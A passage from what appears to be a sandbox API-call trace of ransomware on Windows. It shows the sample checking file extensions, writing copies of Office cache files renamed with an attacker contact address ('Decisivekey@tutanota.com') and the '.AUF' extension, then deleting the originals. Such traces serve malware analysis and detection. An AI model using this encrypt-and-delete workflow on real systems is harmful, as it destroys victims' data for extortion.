(hObject=0x170) returned 1 [0204.273] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.273] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.279] lstrlenW (lpString=".doc") returned 4 [0204.279] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.279] lstrlenW (lpString=".docx") returned 5 [0204.279] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.279] lstrlenW (lpString=".pdf") returned 4 [0204.279] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.279] lstrlenW (lpString=".xls") returned 4 [0204.279] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.279] lstrlenW (lpString=".xlsx") returned 5 [0204.279] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.279] lstrlenW (lpString=".ppt") returned 4 [0204.279] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.279] lstrlenW (lpString=".zip") returned 4 [0204.279] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.279] lstrlenW (lpString=".rar") returned 4 [0204.279] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.279] lstrlenW (lpString=".bz2") returned 4 [0204.279] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.279] lstrlenW (lpString=".7z") returned 3 [0204.279] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.279] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.279] lstrlenW (lpString=".dbf") returned 4 [0204.279] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString=".1cd") returned 4 [0204.280] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString=".jpg") returned 4 [0204.280] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString=".doc") returned 4 [0204.280] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString=".docx") returned 5 [0204.280] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.280] lstrlenW (lpString=".pdf") returned 4 [0204.280] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString=".xls") returned 4 [0204.280] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString=".xlsx") returned 5 [0204.280] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.280] lstrlenW (lpString=".ppt") returned 4 [0204.280] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString=".zip") returned 4 [0204.280] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.280] lstrlenW (lpString=".rar") returned 4 [0204.280] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString=".bz2") returned 4 [0204.280] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString=".7z") returned 3 [0204.280] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString=".dbf") returned 4 [0204.280] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString=".1cd") returned 4 [0204.280] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.280] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.280] lstrlenW (lpString=".jpg") returned 4 [0204.280] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.280] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.280] lstrlenW (lpString="Proof.xml") returned 9 [0204.280] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.281] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1458) returned 1 [0204.281] CloseHandle (hObject=0x170) returned 1 [0204.281] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0204.281] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.281] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.281] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.281] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.281] GetLastError () returned 0x0 [0204.281] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0204.311] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0204.311] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.311] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.311] SetEndOfFile (hFile=0x180) returned 1 [0204.312] CloseHandle (hObject=0x180) returned 1 [0204.312] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.312] SetEndOfFile (hFile=0x170) returned 1 [0204.313] CloseHandle (hObject=0x170) returned 1 [0204.313] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.313] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0204.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.313] lstrlenW (lpString=".doc") returned 4 [0204.313] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.313] lstrlenW (lpString=".docx") returned 5 [0204.313] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0204.313] lstrlenW (lpString=".pdf") returned 4 [0204.313] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.313] lstrlenW (lpString=".xls") returned 4 [0204.313] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.313] lstrlenW (lpString=".xlsx") returned 5 [0204.313] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0204.313] lstrlenW (lpString=".ppt") returned 4 [0204.313] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.313] lstrlenW (lpString=".zip") returned 4 [0204.313] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.313] lstrlenW (lpString=".rar") returned 4 [0204.313] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.313] lstrlenW (lpString=".bz2") returned 4 [0204.313] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.313] lstrlenW (lpString=".7z") returned 3 [0204.313] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString=".dbf") returned 4 [0204.314] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString=".1cd") returned 4 [0204.314] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString=".jpg") returned 4 [0204.314] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString=".doc") returned 4 [0204.314] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString=".docx") returned 5 [0204.314] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0204.314] lstrlenW (lpString=".pdf") returned 4 [0204.314] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString=".xls") returned 4 [0204.314] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString=".xlsx") returned 5 [0204.314] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0204.314] lstrlenW (lpString=".ppt") returned 4 [0204.314] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString=".zip") returned 4 [0204.314] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.314] lstrlenW (lpString=".rar") returned 4 [0204.314] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString=".bz2") returned 4 [0204.314] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString=".7z") returned 3 [0204.314] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString=".dbf") returned 4 [0204.314] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.314] lstrlenW (lpString=".1cd") returned 4 [0204.315] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0204.315] lstrlenW (lpString=".jpg") returned 4 [0204.315] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.315] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.315] lstrlenW (lpString="Setup.xml") returned 9 [0204.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.315] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2362) returned 1 [0204.315] CloseHandle (hObject=0x170) returned 1 [0204.315] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.315] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.315] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.315] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.316] GetLastError () returned 0x0 [0204.316] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x93a, lpOverlapped=0x0) returned 1 [0204.325] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x940, lpOverlapped=0x0) returned 1 [0204.326] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.326] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.326] SetEndOfFile (hFile=0x180) returned 1 [0204.326] CloseHandle (hObject=0x180) returned 1 [0204.326] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.326] SetEndOfFile (hFile=0x170) returned 1 [0204.327] CloseHandle (hObject=0x170) returned 1 [0204.327] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.327] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString=".doc") returned 4 [0204.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".docx") returned 5 [0204.328] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.328] lstrlenW (lpString=".pdf") returned 4 [0204.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".xls") returned 4 [0204.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".xlsx") returned 5 [0204.328] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.328] lstrlenW (lpString=".ppt") returned 4 [0204.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString=".zip") returned 4 [0204.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.328] lstrlenW (lpString=".rar") returned 4 [0204.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".bz2") returned 4 [0204.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".7z") returned 3 [0204.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString=".dbf") returned 4 [0204.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString=".1cd") returned 4 [0204.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString=".jpg") returned 4 [0204.328] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString=".doc") returned 4 [0204.328] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".docx") returned 5 [0204.328] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.328] lstrlenW (lpString=".pdf") returned 4 [0204.328] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".xls") returned 4 [0204.328] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString=".xlsx") returned 5 [0204.328] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.328] lstrlenW (lpString=".ppt") returned 4 [0204.328] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.328] lstrlenW (lpString=".zip") returned 4 [0204.328] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.328] lstrlenW (lpString=".rar") returned 4 [0204.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.329] lstrlenW (lpString=".bz2") returned 4 [0204.329] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.329] lstrlenW (lpString=".7z") returned 3 [0204.329] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.329] lstrlenW (lpString=".dbf") returned 4 [0204.329] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.329] lstrlenW (lpString=".1cd") returned 4 [0204.329] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.329] lstrlenW (lpString=".jpg") returned 4 [0204.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.329] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.329] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0204.329] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.330] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1231) returned 1 [0204.330] CloseHandle (hObject=0x170) returned 1 [0204.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0204.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0204.330] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.330] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.330] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0204.330] GetLastError () returned 0x0 [0204.330] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0204.344] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0204.344] ReadFile (in: hFile=0x170, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.344] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | 